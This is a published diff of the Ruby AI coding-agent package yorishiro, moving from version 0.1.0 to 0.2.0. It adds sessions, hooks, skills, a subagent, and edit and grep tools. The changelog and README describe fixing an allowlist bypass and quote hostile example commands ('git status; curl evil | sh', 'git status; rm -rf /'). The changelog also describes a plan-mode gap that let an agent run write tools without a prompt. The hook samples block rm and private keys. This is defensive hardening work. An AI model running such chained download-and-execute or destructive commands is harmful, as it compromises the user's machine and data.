yorishiro 0.1.0 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (39) hide show
  1. checksums.yaml +4 -4
  2. data/.yorishirorc.sample +51 -0
  3. data/CHANGELOG.md +41 -0
  4. data/README.md +134 -8
  5. data/docs/en/README.md +97 -2
  6. data/docs/ja/README.md +97 -2
  7. data/docs/ja/how_to_create_skills.md +0 -0
  8. data/docs/ja/ollama_setup.md +148 -0
  9. data/lib/yorishiro/cli.rb +474 -93
  10. data/lib/yorishiro/compactor.rb +53 -0
  11. data/lib/yorishiro/configuration.rb +69 -1
  12. data/lib/yorishiro/conversation.rb +117 -0
  13. data/lib/yorishiro/diff.rb +92 -0
  14. data/lib/yorishiro/hooks.rb +64 -0
  15. data/lib/yorishiro/input_history.rb +49 -0
  16. data/lib/yorishiro/mcp/server_manager.rb +4 -4
  17. data/lib/yorishiro/provider/anthropic.rb +37 -8
  18. data/lib/yorishiro/provider/base.rb +20 -4
  19. data/lib/yorishiro/provider/ollama.rb +70 -45
  20. data/lib/yorishiro/provider/open_ai.rb +21 -5
  21. data/lib/yorishiro/session_resume.rb +73 -0
  22. data/lib/yorishiro/session_store.rb +168 -0
  23. data/lib/yorishiro/skill.rb +11 -0
  24. data/lib/yorishiro/skill_loader.rb +53 -0
  25. data/lib/yorishiro/sub_agent.rb +143 -0
  26. data/lib/yorishiro/tool.rb +7 -0
  27. data/lib/yorishiro/tool_result_cap.rb +31 -0
  28. data/lib/yorishiro/tools/edit_file.rb +87 -0
  29. data/lib/yorishiro/tools/execute_command.rb +8 -0
  30. data/lib/yorishiro/tools/exit_plan_mode.rb +41 -0
  31. data/lib/yorishiro/tools/grep.rb +118 -0
  32. data/lib/yorishiro/tools/list_files.rb +10 -8
  33. data/lib/yorishiro/tools/read_file.rb +27 -9
  34. data/lib/yorishiro/tools/task.rb +74 -0
  35. data/lib/yorishiro/tools/write_file.rb +9 -0
  36. data/lib/yorishiro/version.rb +1 -1
  37. data/lib/yorishiro.rb +13 -1
  38. metadata +33 -5
  39. data/lib/yorishiro/mcp/stdio_transport.rb +0 -85
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 84093e44e7e9ae3d6e590164028c1f95cb6b3938f3d8a7b063800312380897de
4
- data.tar.gz: 4db18617aeb5fd5c71f3e749ef2f7ecf179fe43842474341d6d42a24b8762a7f
3
+ metadata.gz: baf30a97d74763ddc58d0f8c670233b3b44a82f064b161fe6aec967bf1d2c0d0
4
+ data.tar.gz: 724a79cd7e49ace2544852fa556810d47778ef99212244d7e8ab99dca5b71711
5
5
  SHA512:
6
- metadata.gz: b01657cfa3ed4aeac756cc632dcf3a4d58eb2f1ec3a77b67aba0bd6f4caa3b795f3e9bead5e64222a0268cd91dfb412e24c13b9932fd451f97a0f144d4e89171
7
- data.tar.gz: 497799e8401c11e066a600954acf3467722722da4f43d86db5ed81567680426ecb872c8aa0a3bc1a1f7d872b025a1f9ee6fc60d9cb6ae126215dccd9e15523cb
6
+ metadata.gz: 87c3e0741e2142cabdd0e3421d164d437854096e215ce2a076fd12058484e3a1d6bee6ee74dfbab2c7d82ad4762b83e61f187da0cda3af7771e63aa01ff2195d
7
+ data.tar.gz: 6965030d5709a8948c16951f95970082ba0558909c03dee44cd34e2ab9e84947df31abdc6c49e2efec0761fd3308e2e76e5d560a8498f654163460fc0ceec9c0
data/.yorishirorc.sample CHANGED
@@ -47,12 +47,19 @@ allow_tool Yorishiro::Tools::ReadFile.new
47
47
  # File writing (permission required every time)
48
48
  allow_tool Yorishiro::Tools::WriteFile.new
49
49
 
50
+ # Partial file editing with diff preview (permission required every time)
51
+ allow_tool Yorishiro::Tools::EditFile.new
52
+
50
53
  # File listing / glob (no permission required)
51
54
  allow_tool Yorishiro::Tools::ListFiles.new
52
55
 
56
+ # File content search with a Ruby regexp (no permission required)
57
+ allow_tool Yorishiro::Tools::Grep.new
58
+
53
59
  # Command execution (pattern-based permission)
54
60
  # Commands matching allow_commands patterns run automatically.
55
61
  # Other commands prompt for permission: [y] once, [a] always, [n] deny.
62
+ # Commands containing shell metacharacters (; & | $ ` < > ( ) or newlines) always prompt.
56
63
  allow_tool Yorishiro::Tools::ExecuteCommand.new,
57
64
  allow_commands: [
58
65
  "ls *",
@@ -62,6 +69,10 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
62
69
  "ruby *"
63
70
  ]
64
71
 
72
+ # Subagent: delegate read-only research to a fresh context window
73
+ # (no permission required — the subagent only gets read-only tools)
74
+ allow_tool Yorishiro::Tools::Task.new
75
+
65
76
  # ============================================================
66
77
  # MCP Servers
67
78
  # ============================================================
@@ -77,10 +88,37 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
77
88
  # args: ["mcp"],
78
89
  # env: { "GITHUB_TOKEN" => ENV["GITHUB_TOKEN"] }
79
90
 
91
+ # ============================================================
92
+ # Hooks
93
+ # ============================================================
94
+
95
+ # Run Ruby blocks on lifecycle events:
96
+ # :before_tool_use (tool_name, args) — before the permission prompt
97
+ # :after_tool_use (tool_name, args, result) — after a successful execution
98
+ # :user_prompt_submit (input) — before the message reaches the LLM
99
+ #
100
+ # before_tool_use / user_prompt_submit blocks can veto the action by
101
+ # returning deny("reason"); any other return value lets it proceed.
102
+ #
103
+ # on :before_tool_use do |tool_name, args|
104
+ # deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
105
+ # end
106
+ #
107
+ # on :after_tool_use do |tool_name, _args, result|
108
+ # File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
109
+ # end
110
+
80
111
  # ============================================================
81
112
  # Custom Skills (Slash Commands)
82
113
  # ============================================================
83
114
 
115
+ # Skills can also be auto-loaded from skill directories: any
116
+ # Yorishiro::Skill subclass defined in ~/.yorishiro/skills/*.rb (global)
117
+ # or ./.yorishiro/skills/*.rb (project-local) is registered automatically
118
+ # — no `skill` call needed. Project-local skills override global ones
119
+ # with the same name.
120
+
121
+ # A skill that returns a String just prints its output:
84
122
  # class GitStatusSkill < Yorishiro::Skill
85
123
  # def name = "git_status"
86
124
  # def description = "Show git status"
@@ -88,3 +126,16 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
88
126
  # end
89
127
  #
90
128
  # skill GitStatusSkill.new
129
+
130
+ # A skill can instead inject its own prompt into the LLM by returning
131
+ # `prompt(...)`. The text is sent to the model as a user message and the
132
+ # agent (or plan) loop runs, so the skill can drive the assistant:
133
+ # class ReviewSkill < Yorishiro::Skill
134
+ # def name = "review"
135
+ # def description = "Review the current git diff"
136
+ # def execute(_context)
137
+ # prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
138
+ # end
139
+ # end
140
+ #
141
+ # skill ReviewSkill.new
data/CHANGELOG.md CHANGED
@@ -1,5 +1,46 @@
1
1
  ## [Unreleased]
2
2
 
3
+ ## [0.2.0] - 2026-07-17
4
+
5
+ - Refresh the hardcoded provider model lists, which had gone stale enough to be actively wrong. The Anthropic list contained a model ID that never existed (`claude-haiku-4-20250414`) and two since-retired models (`claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022`), while `validate_model!`'s whitelist rejected every real current model — so a correct `.yorishirorc` failed at startup. The list now holds the current alias IDs (`claude-fable-5`, `claude-opus-4-8/-4-7/-4-6/-4-5`, `claude-sonnet-5`/`-4-6`/`-4-5`, `claude-haiku-4-5`), which track the latest snapshot of each model and go stale far more slowly than dated IDs; the Anthropic default model is now `claude-opus-4-8`. The OpenAI list drops the `o1`/`o1-mini`/`o3-mini` reasoning models, which reject this client's always-streaming/system-message/tool flow and could never actually work. Note the whitelist itself remains: a brand-new model still needs a gem update (or an entry PR) before `validate_model!` accepts it.
6
+ - Remove the dead `ContextManager` class. It was never required from `yorishiro.rb`, referenced from any code path, or covered by a test — and it carried a latent crash (`generate_map(max_depth: 4)` or deeper raised `ArgumentError` from a negative-length indent string, since the indentation hard-coded the default depth of 3). A future project-map feature can reintroduce it deliberately, with tests.
7
+ - Fix `list_files` marking directories relative to the process cwd instead of the listed path. Without a `pattern`, entries come from `Dir.children` as bare names, but the directory check ran `File.directory?` on those names as-is — resolved against wherever `yorishiro` was launched, not the requested `path`. Listing any other directory therefore missed the trailing `/` on its subdirectories (and could even mark a file as a directory if a same-named directory happened to exist in the cwd). Entries are now resolved against the listed path; glob listings were already correct.
8
+ - Keep one empty completion from bricking an Anthropic session. When the model returned an empty response (no text, no tool calls — e.g. after context overflow), the CLI warned about it but still recorded the empty assistant message; Anthropic rejects empty assistant content, so every subsequent request in the session failed with a 400 until `/clear`. Empty completions are no longer added to the history (the warning remains), and the Anthropic provider also drops any empty assistant message found in the history — covering sessions saved before this fix and resumed later. Assistant messages with tool calls but no text are unaffected.
9
+ - Record a tool result for every tool call the model issues alongside `exit_plan_mode`. When a plan-mode response contained `exit_plan_mode` plus other tool calls in the same batch, only the exit call got a result before the loop broke — the siblings were left as unanswered assistant `tool_calls`, so after the user approved the plan the follow-up completion sent an unpaired tool_call and Anthropic/OpenAI rejected the whole request with a 400. Sibling calls are not executed (the plan is already final); each now gets a `Skipped: ...` tool result telling the model to re-run the tool after approval if still needed.
10
+ - Stop a failing slash command or skill from crashing the whole REPL. The error handling in `repl_loop` only wrapped plain user input; slash commands ran outside it, so a skill whose `execute` raised — or, worse, a skill returning a `Prompt` whose injected agent loop hit a `ProviderError` (rate limit, network failure) — propagated out of the loop and killed the session with a backtrace, while the exact same provider error on a normal message printed a friendly `[Error] ...` line. Slash commands and skills now share that handling: the error is printed and the REPL keeps running. `/exit` is unaffected (`SystemExit` is not a `StandardError`).
11
+ - Refuse non-read-only tool calls in plan mode instead of executing them without a permission prompt. Plan mode only offers the model the read-only tool definitions, but the dispatcher looked the called name up among *all* registered tools and ran it inline (plan mode never shows the `[y/a/n]` prompt) — so a model that named `write_file`, `edit_file`, `execute_command`, or any MCP tool (from history or hallucination) could mutate files or run commands while "planning". Such calls are now blocked with a tool result telling the model to put the step in the plan and call `exit_plan_mode`, and a `[Plan Mode] Blocked ...` notice is printed. Read-only tools and lifecycle hooks behave as before.
12
+ - Stop the `--provider` CLI flag from wiping the configured API key and model. `setup!` applied the flag with a bare `use(provider:)`, whose `api_key:`/`model:` defaults are `nil` — so `yorishiro --provider anthropic` discarded the key loaded from `.yorishirorc` and failed with a 401 on the first request (no re-validation caught it at startup). Both `--provider` and `--model` now go through the same validated `switch!` path as the `/model` command: `--provider` alone keeps the configured key when the provider is unchanged and otherwise reads the new provider's conventional env var (`ANTHROPIC_API_KEY`/`OPENAI_API_KEY`; Ollama needs none), dropping the rc model since it belongs to the old provider; `--model` alone keeps provider and key and is now validated at startup (this also removes the `instance_variable_set` backdoor it used).
13
+ - Add a `/model` command to switch provider/model without restarting. `/model` lists the current selection and the available models; `/model <name>` changes the model within the current provider; `/model <provider> <name>` also switches provider, reading that provider's API key from its conventional env var (`ANTHROPIC_API_KEY`/`OPENAI_API_KEY`; Ollama needs none). The switch is validated and rolled back if the model or key is invalid, so a rejected switch keeps the running session on its current model. The conversation continues across the switch, and subagent tools are re-pointed at the new provider.
14
+ - Add a `/usage` command that shows token usage for the last turn and the running session total (plus the prompt's share of the context budget when the provider reports one). Ollama already parsed `prompt_eval_count`/`eval_count` but only used them for truncation warnings; those counts are now surfaced, and Anthropic (from the `message_start`/`message_delta` usage fields) and OpenAI (via `stream_options.include_usage`) now report usage too. Each provider's `chat` result carries a normalized `usage: { input:, output: }`; the CLI accumulates it per turn and `/clear` resets the running total. Providers that report nothing fall back to a rough character-based estimate.
15
+ - Keep a subagent's partial findings when a provider call fails mid-task. The `task` tool's completion request was not rescued, so a `ProviderError` (401/429/API error) or network timeout after several useful research iterations threw away everything gathered so far — the parent only saw a one-line `Error: ...`. The subagent now catches a failed completion and returns whatever it had found plus a `[Subagent stopped early after a provider error: ...]` notice (just the notice when it fails on the first call), matching how the iteration-limit and per-tool-error paths already salvage progress instead of crashing the loop.
16
+ - Stop two `yorishiro` processes from silently destroying each other's history. Resuming the same session in the same directory from two terminals (`--continue` both picking the latest session, or `--resume <id>` with the same id) left both writing the same `.yorishiro/sessions/<id>.json`, so the last to save overwrote the other's conversation (last-writer-wins data loss); they also shared one `<id>.json.tmp`, which could corrupt the in-flight write. A session id is now claimed with an advisory `flock` held for the process lifetime: resuming a session another live process owns prints a notice and starts a fresh session instead of attaching to it, and the temp file is per-process (`<id>.json.<pid>.tmp`). New sessions are unaffected (their ids are already unique). The lock releases automatically on exit and orphaned `.lock` files are pruned alongside their sessions.
17
+ - Never auto-approve `execute_command` calls containing shell metacharacters (`;` `&` `|` `` ` `` `$` `<` `>` `(` `)` or newlines), even when they match an `allow_commands` pattern. Patterns were matched with `File.fnmatch` against the whole command string and the command runs through a shell, so with the recommended `"git *"` config a command like `git status; curl evil | sh` matched the pattern and executed without any permission prompt — an allowlist bypass allowing arbitrary command injection. Such commands now always fall through to the interactive `[y/a/n]` prompt (quoted metacharacters like `git commit -m "a; b"` also prompt — a deliberate trade-off to avoid shipping a shell parser); commands the user explicitly session-allowed with `a` keep working since that list is exact-match.
18
+ - Add a built-in `task` tool (opt-in with `allow_tool Yorishiro::Tools::Task.new`) that delegates a read-only research task to a subagent running its own agent loop in a fresh context window. The subagent gets the registered read-only tools only (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest) and returns just its final text to the parent conversation, so multi-file exploration no longer fills the parent's context — the main win on small local context windows (e.g. Ollama with `num_ctx 8192`). Lifecycle hooks fire for the subagent's tool calls too, each call is shown as an indented `[task] ...` progress line, tool results inside the subagent are capped the same way as the parent's, and the loop is bounded at 15 iterations. Being read-only, `task` needs no permission prompt and is available in plan mode.
19
+ - Stop a single task from exhausting small context windows (e.g. Ollama with `num_ctx 8192`), where reading the files needed for one request used up the whole budget and neither compaction (needs older rounds) nor trimming (keeps the latest round) could free anything:
20
+ - `read_file` now returns at most 200 lines per call (long lines truncated at 500 characters) with a paging notice telling the model to continue via `offset`/`limit`.
21
+ - Every tool result is capped before entering the conversation — at a quarter of the context budget when the provider reports one, 30k characters otherwise — with a notice asking the model to narrow the request.
22
+ - When the conversation still exceeds the budget, the oldest tool results are now blanked out in place (keeping the two most recent and the message structure intact) before whole rounds are dropped, so a long tool loop inside one request degrades gracefully instead of producing empty responses.
23
+
24
+ - Add lifecycle hooks configurable from `.yorishirorc` with the `on` DSL: `:before_tool_use` (fires before the permission prompt and can veto the call by returning `deny("reason")` — the denial is fed back to the LLM as the tool result), `:after_tool_use` (observes tool results; failures only warn), and `:user_prompt_submit` (can block a message before it reaches the LLM). Only an explicit `deny(...)`/`:deny` return vetoes, so logging-only hooks are safe; a `before_tool_use` hook that raises denies the call (fail closed). Hooks apply to MCP tools and plan mode too.
25
+ - Auto-load custom skills (slash commands) from skill directories: any `Yorishiro::Skill` subclass defined in `~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local) is registered at startup without a `skill ...` call. Project-local skills override same-name global ones, abstract intermediate base classes are skipped, and a broken skill file fails startup with the offending path in the error.
26
+ - Add a built-in `edit_file` tool that replaces an exact string in a file (`path`, `old_string`, `new_string`, optional `replace_all`), instead of rewriting the whole file with `write_file`. The string must match uniquely; ambiguity and misses return actionable errors so the LLM can retry.
27
+ - Show a unified diff preview in the permission prompt for `edit_file` and `write_file` (colored when the output is a TTY), so you can see the actual change before approving instead of a raw argument dump. Tools can opt in by overriding `Tool#preview`; everything else keeps the argument dump.
28
+ - Add a built-in `grep` tool that searches file contents recursively with a Ruby regular expression (`pattern`, optional `path` and `glob` filter). Matches are returned as `file:line:content`, capped at 100 results; binary files, hidden/dot directories, and dependency directories (`.git`, `node_modules`, `vendor`, `tmp`) are skipped. Read-only, so it needs no permission prompt and is available in plan mode.
29
+ - Stop plan mode from looping forever: add an `exit_plan_mode` tool the model calls to signal its plan is ready. Previously the plan loop could only end when the model returned no tool calls, so a model that kept reading files (only read-only tools are exposed in plan mode) never reached the `Execute this plan? [y/n]` prompt. When `exit_plan_mode` is called the plan is presented and the loop exits.
30
+ - Persist conversations to `.yorishiro/sessions/<id>.json` under the launch directory (saved after every turn and progressively during long tool loops, via an atomic tmp-file rename so a crash never corrupts the previous state). Resume with `--continue` (most recent session), `--resume [ID]` (ID prefixes work; interactive picker when omitted), or the `/resume` command. `/clear` starts a new session while keeping the old file resumable. Sessions record the provider/model and warn when resuming under a different one; the newest 50 sessions are kept.
31
+ - Persist input history to `.yorishiro/history.json` in the directory where `yorishiro` was launched, so past prompts (including multi-line ones) can be recalled with the up arrow across sessions. Each project keeps its own history; add `.yorishiro/` to `.gitignore` to keep it out of version control.
32
+ - Edit multi-line prompts as a single buffer: input now uses `Reline.readmultiline`, so the cursor can move back to earlier lines to edit them before sending. The "Enter on a blank line sends" gesture is unchanged.
33
+ - Let skills inject a prompt into the LLM: when a skill's `execute` returns a `Yorishiro::Skill::Prompt` (built with the `prompt("...")` helper), its text is fed to the model as a user message and the agent/plan loop runs. Skills returning a String keep printing their output as before.
34
+ - Stream Ollama responses even when tools are provided, allowing text and tool calls to be handled from NDJSON chunks.
35
+ - Add `OLLAMA_KEEP_ALIVE` support for Ollama chat requests, defaulting to `10m`.
36
+ - Disable the read timeout for Ollama so large-prompt coding tasks no longer fail with `Net::ReadTimeout` while the local model evaluates the prompt before streaming the first token. Cloud providers keep the 120s default.
37
+ - Restore `Ollama request`/`Ollama response` debug logging (`YORISHIRO_DEBUG=1`) on the streaming path.
38
+ - Send an explicit `num_ctx` (context window) with every Ollama request so large-codebase sessions no longer overflow Ollama's small default context and get silently truncated (which dropped the system prompt/tools and caused the model to stop responding). Defaults to `8192`, overridable via the `OLLAMA_NUM_CTX` env var or `ollama_num_ctx` in `.yorishirorc`.
39
+ - Automatically compact conversation history (Claude Code style): when the conversation nears the context budget, older rounds are summarized by the model into a single summary message while the most recent rounds are kept verbatim. Enabled by default; disable with `auto_compact false` in `.yorishirorc`, or trigger manually with the `/compact` command.
40
+ - Trim the oldest conversation rounds to fit the provider's context budget before each request (Ollama only for now) as a fallback after compaction, keeping the system prompt and the latest round and never splitting a tool call from its result.
41
+ - Surface context-truncation and empty-response conditions in the CLI instead of silently going quiet, and keep the REPL alive when a single turn raises an error.
42
+ - Harden Ollama NDJSON stream parsing: skip malformed/partial lines instead of crashing, and raise a `ProviderError` when Ollama streams an `error` object.
43
+
3
44
  ## [0.1.0] - 2026-03-18
4
45
 
5
46
  - Initial release
data/README.md CHANGED
@@ -30,11 +30,13 @@ vi .lyorishirorc
30
30
 
31
31
  ```ruby
32
32
  # ~/.yorishirorc
33
- use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-sonnet-4-20250514"
33
+ use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-opus-4-8"
34
34
 
35
35
  allow_tool Yorishiro::Tools::ReadFile.new
36
36
  allow_tool Yorishiro::Tools::WriteFile.new
37
+ allow_tool Yorishiro::Tools::EditFile.new
37
38
  allow_tool Yorishiro::Tools::ListFiles.new
39
+ allow_tool Yorishiro::Tools::Grep.new
38
40
  allow_tool Yorishiro::Tools::ExecuteCommand.new,
39
41
  allow_commands: ["ls", "git *", "bundle exec *", "cat *"]
40
42
 
@@ -48,7 +50,7 @@ yorishiro
48
50
  ```
49
51
 
50
52
  ```
51
- Yorishiro v0.1.0 (anthropic:claude-sonnet-4-20250514)
53
+ Yorishiro v0.1.0 (anthropic:claude-opus-4-8)
52
54
  Type your message (Enter twice to send, /help for commands)
53
55
 
54
56
  you> Hello!
@@ -61,25 +63,60 @@ assistant> Hi! How can I help you today?
61
63
  ### Basic Operations
62
64
 
63
65
  - Type your message and press **Enter twice** to send
66
+ - Input is a single editable buffer: use the arrow keys to move back to earlier lines and edit them before sending
67
+ - Press **↑ / ↓** to recall previously sent prompts
64
68
  - `Ctrl+C` or `/exit` to quit
65
69
 
70
+ ### Input History
71
+
72
+ Sent prompts are saved to `.yorishiro/history.json` in the directory where you launched `yorishiro`, so each project keeps its own history. On the next launch from the same directory, press **↑** to recall past prompts (multi-line prompts are restored intact) and re-send them.
73
+
74
+ Add `.yorishiro/` to your `.gitignore` to keep the history out of version control:
75
+
76
+ ```
77
+ .yorishiro/
78
+ ```
79
+
80
+ If several sessions run in the same directory at once, the last one to exit wins when writing the file.
81
+
82
+ ### Session Persistence & Resume
83
+
84
+ Conversations are saved automatically to `.yorishiro/sessions/` under the launch directory — after every turn, and progressively during long tool loops, so a crash loses at most the in-flight completion. Resume where you left off:
85
+
86
+ ```bash
87
+ yorishiro --continue # resume the most recent session
88
+ yorishiro --resume # pick from a list of saved sessions
89
+ yorishiro --resume 2026070 # resume by id (prefixes work)
90
+ ```
91
+
92
+ Inside the REPL, `/resume` shows the same picker and `/clear` starts a new session (the old one stays on disk and remains resumable). Sessions record which provider/model they were created with; resuming under a different one prints a notice and continues with the current configuration. The newest 50 sessions are kept per directory.
93
+
94
+ A session can only be open in one process at a time. If you resume a session that another `yorishiro` in the same directory is already using, it won't attach to it (which would overwrite that process's history) — it prints a notice and starts a fresh session instead.
95
+
66
96
  ### Slash Commands
67
97
 
68
98
  | Command | Description |
69
99
  |---------|-------------|
70
100
  | `/plan` | Toggle plan mode |
71
- | `/clear` | Clear conversation history |
101
+ | `/clear` | Clear conversation history (starts a new session) |
102
+ | `/resume` | List saved sessions and resume one |
72
103
  | `/tools` | List registered tools |
73
104
  | `/skills` | List registered skills |
105
+ | `/usage` | Show token usage for the last turn and the session |
106
+ | `/model` | Switch provider/model at runtime (lists options when called with no arguments) |
74
107
  | `/exit` | Exit yorishiro |
75
108
  | `/help` | Show help |
76
109
 
110
+ `/model gpt-4o` switches the model within the current provider; `/model open_ai gpt-4o` also switches provider. When switching to a different provider, the API key is read from that provider's conventional environment variable (`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`; Ollama needs none) — the switch is rejected and the current model kept if the key or model is invalid.
111
+
77
112
  ### CLI Options
78
113
 
79
114
  ```bash
80
115
  yorishiro --provider anthropic # Select provider
81
116
  yorishiro --model gpt-4o # Override model
82
117
  yorishiro --plan # Start in plan mode
118
+ yorishiro --continue # Resume the most recent session
119
+ yorishiro --resume [ID] # Resume a saved session (picker when ID is omitted)
83
120
  yorishiro --version # Show version
84
121
  yorishiro --help # Show help
85
122
  ```
@@ -96,7 +133,7 @@ Configuration files use a Ruby DSL. Loading order (later overrides earlier):
96
133
 
97
134
  ```ruby
98
135
  # Anthropic (Claude)
99
- use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-sonnet-4-20250514"
136
+ use provider: :anthropic, api_key: ENV["ANTHROPIC_API_KEY"], model: "claude-opus-4-8"
100
137
 
101
138
  # OpenAI (ChatGPT)
102
139
  use provider: :open_ai, api_key: ENV["OPENAI_API_KEY"], model: "gpt-4o"
@@ -109,8 +146,8 @@ use provider: :ollama, model: "llama3.1"
109
146
 
110
147
  | Provider | Models |
111
148
  |----------|--------|
112
- | Anthropic | claude-opus-4-20250514, claude-sonnet-4-20250514, claude-haiku-4-20250414, claude-3-5-sonnet-20241022, claude-3-5-haiku-20241022 |
113
- | OpenAI | gpt-4o, gpt-4o-mini, gpt-4-turbo, gpt-4, gpt-3.5-turbo, o1, o1-mini, o3-mini |
149
+ | Anthropic | claude-fable-5, claude-opus-4-8, claude-opus-4-7, claude-opus-4-6, claude-opus-4-5, claude-sonnet-5, claude-sonnet-4-6, claude-sonnet-4-5, claude-haiku-4-5 |
150
+ | OpenAI | gpt-4o, gpt-4o-mini, gpt-4-turbo, gpt-4, gpt-3.5-turbo |
114
151
  | Ollama | Any model available on your Ollama instance (dynamically fetched) |
115
152
 
116
153
  ### Tool Settings
@@ -119,15 +156,35 @@ use provider: :ollama, model: "llama3.1"
119
156
  # Read-only tools (no permission required)
120
157
  allow_tool Yorishiro::Tools::ReadFile.new
121
158
  allow_tool Yorishiro::Tools::ListFiles.new
159
+ allow_tool Yorishiro::Tools::Grep.new
122
160
 
123
- # Write tool (permission required every time)
161
+ # Write / edit tools (permission required every time, with a diff preview)
124
162
  allow_tool Yorishiro::Tools::WriteFile.new
163
+ allow_tool Yorishiro::Tools::EditFile.new
125
164
 
126
165
  # Command execution (pattern-based permission)
127
166
  allow_tool Yorishiro::Tools::ExecuteCommand.new,
128
167
  allow_commands: ["ls", "git *", "bundle exec *"]
168
+
169
+ # Subagent (delegates read-only research to a fresh context window)
170
+ allow_tool Yorishiro::Tools::Task.new
129
171
  ```
130
172
 
173
+ ### Subagent (`task` tool)
174
+
175
+ The `task` tool lets the LLM delegate a read-only research task (finding where something is defined, summarizing several files) to a subagent that runs its own agent loop in a fresh context window. The subagent can use the registered read-only tools (`read_file`, `list_files`, `grep` — never `task` itself, so subagents cannot nest), and only its final text summary enters the parent conversation.
176
+
177
+ This keeps exploratory tool output out of the parent's context — especially valuable on small local context windows (e.g. Ollama with `num_ctx 8192`), where reading a handful of files can otherwise use up the whole budget. Each subagent tool call is shown as an indented progress line:
178
+
179
+ ```
180
+ [Tool] Executing: task(prompt: Find where sessions are persisted...)
181
+ [task] grep(pattern: def save)
182
+ [task] read_file(path: lib/yorishiro/session_store.rb)
183
+ [Tool] Result: Sessions are saved to .yorishiro/sessions/<id>.json by...
184
+ ```
185
+
186
+ Lifecycle hooks (`before_tool_use` / `after_tool_use`) fire for the subagent's tool calls too, and the loop is bounded at 15 iterations. Because the tool is read-only, it needs no permission prompt and is also available in plan mode.
187
+
131
188
  ### Command Execution Permission Model
132
189
 
133
190
  The `execute_command` tool uses a 3-tier permission model:
@@ -140,8 +197,11 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
140
197
  # ls → auto-approved
141
198
  # git status → auto-approved
142
199
  # rm -rf / → permission prompt
200
+ # git status; curl evil | sh → permission prompt (metacharacters never auto-approve)
143
201
  ```
144
202
 
203
+ Commands containing shell metacharacters (`;` `&` `|` `` ` `` `$` `<` `>` `(` `)` or newlines) are never auto-approved, even when they match an `allow_commands` pattern. Since commands run through a shell, these characters could chain extra commands onto an allowed prefix (e.g. `git status; rm -rf /` matching `"git *"`), so they always fall through to the Tier 2 prompt.
204
+
145
205
  **Tier 2: Runtime approval** — Commands not matching any pattern trigger a permission prompt
146
206
 
147
207
  ```
@@ -206,6 +266,66 @@ skill GitStatusSkill.new
206
266
  # => Available as /git_status
207
267
  ```
208
268
 
269
+ A skill that returns a String just prints its output. To drive the assistant
270
+ instead, return `prompt(...)`: the text is injected as a user message and the
271
+ LLM runs (respecting plan mode), so the skill can hand a task to the model.
272
+
273
+ ```ruby
274
+ class ReviewSkill < Yorishiro::Skill
275
+ def name = "review"
276
+ def description = "Review the current git diff"
277
+
278
+ def execute(_context)
279
+ prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
280
+ end
281
+ end
282
+
283
+ skill ReviewSkill.new
284
+ # => /review feeds the diff to the LLM and runs the agent loop
285
+ ```
286
+
287
+ Skill files can also be auto-loaded: any `Yorishiro::Skill` subclass defined in
288
+ `~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local)
289
+ is registered automatically at startup — no `skill ...` call needed. When both
290
+ directories define a skill with the same name, the project-local one wins.
291
+
292
+ ```ruby
293
+ # .yorishiro/skills/changelog.rb
294
+ class ChangelogSkill < Yorishiro::Skill
295
+ def name = "changelog"
296
+ def description = "Summarize recent commits"
297
+
298
+ def execute(_context)
299
+ prompt("Summarize these commits for a changelog:\n#{`git log --oneline -20`}")
300
+ end
301
+ end
302
+ # => /changelog is available automatically
303
+ ```
304
+
305
+ ### Hooks
306
+
307
+ Run Ruby blocks on lifecycle events from `.yorishirorc`:
308
+
309
+ ```ruby
310
+ # Veto a tool call before the permission prompt (the denial is returned
311
+ # to the LLM as the tool result so it can change course)
312
+ on :before_tool_use do |tool_name, args|
313
+ deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
314
+ end
315
+
316
+ # Observe tool results (a failing hook only prints a warning)
317
+ on :after_tool_use do |tool_name, _args, result|
318
+ File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
319
+ end
320
+
321
+ # Block a message before it reaches the LLM
322
+ on :user_prompt_submit do |input|
323
+ deny("do not paste secrets") if input.include?("BEGIN PRIVATE KEY")
324
+ end
325
+ ```
326
+
327
+ Only an explicit `deny("reason")` (or `:deny`) return value vetoes the action — anything else proceeds, so logging-only hooks are safe. A `before_tool_use` hook that raises an exception denies the call (fail closed). Hooks also apply to MCP tools and plan mode.
328
+
209
329
  ### Full Configuration Example
210
330
 
211
331
  ```ruby
@@ -213,7 +333,7 @@ skill GitStatusSkill.new
213
333
 
214
334
  use provider: :anthropic,
215
335
  api_key: ENV["ANTHROPIC_API_KEY"],
216
- model: "claude-sonnet-4-20250514"
336
+ model: "claude-opus-4-8"
217
337
 
218
338
  system_prompt <<~PROMPT
219
339
  You are a helpful coding assistant.
@@ -225,7 +345,9 @@ plan_mode false
225
345
  # Built-in tools
226
346
  allow_tool Yorishiro::Tools::ReadFile.new
227
347
  allow_tool Yorishiro::Tools::WriteFile.new
348
+ allow_tool Yorishiro::Tools::EditFile.new
228
349
  allow_tool Yorishiro::Tools::ListFiles.new
350
+ allow_tool Yorishiro::Tools::Grep.new
229
351
  allow_tool Yorishiro::Tools::ExecuteCommand.new,
230
352
  allow_commands: [
231
353
  "ls *",
@@ -234,6 +356,7 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
234
356
  "bundle exec *",
235
357
  "ruby *"
236
358
  ]
